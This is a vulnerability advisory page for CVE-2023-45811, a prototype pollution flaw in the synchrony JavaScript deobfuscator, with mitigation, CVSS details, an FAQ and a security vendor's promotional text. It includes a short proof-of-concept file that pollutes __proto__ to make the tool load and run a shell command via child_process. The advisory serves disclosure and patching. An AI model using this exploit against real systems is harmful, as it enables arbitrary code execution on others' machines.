Summary
Synchrony deobfuscator prototype pollution vulnerability leading to arbitrary code execution
A __proto__ pollution vulnerability exists in the LiteralMap transformer allowing crafted input to modify properties in the Object prototype.
When executing in Node.js, due to use of the prettier module, defining a parser property on __proto__ with a path to a JS module on disk causes a require of the value which can lead to arbitrary code execution.
Mitigation
- Upgrade synchrony to v2.4.4
- Launch node with the --disable-proto=delete or --disable-proto=throw flag
Proof of Concept
Craft a malicious input file named poc.js as follows:
// Malicious code to be run after this file is imported. Logs the result of shell command "dir" to the console.
console.log(require('child_process').execSync('dir').toString())
// Synchrony exploit PoC
{
var __proto__ = { parser: 'poc.js' }
}
Then, run synchrony poc.js from the same directory as the malicious file.
Credits
This vulnerability was found and disclosed by William Khem-Marquez.
Impact
A __proto__ pollution vulnerability exists in synchrony versions before v2.4.4. Successful exploitation could lead to arbitrary code execution.
CVE-2023-45811 has a CVSS score of 7.8 (High). The vector is requires local access, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.4.4); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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A fix has been released in [email protected].
Frequently Asked Questions
- What is CVE-2023-45811? CVE-2023-45811 is a high-severity security vulnerability in deobfuscator (npm), affecting versions >= 2.0.1, < 2.4.4. It is fixed in 2.4.4.
- How severe is CVE-2023-45811? CVE-2023-45811 has a CVSS score of 7.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of deobfuscator are affected by CVE-2023-45811? deobfuscator (npm) versions >= 2.0.1, < 2.4.4 is affected.
- Is there a fix for CVE-2023-45811? Yes. CVE-2023-45811 is fixed in 2.4.4. Upgrade to this version or later.
- Is CVE-2023-45811 exploitable, and should I be worried? Whether CVE-2023-45811 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2023-45811 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2023-45811? Upgrade
deobfuscatorto 2.4.4 or later.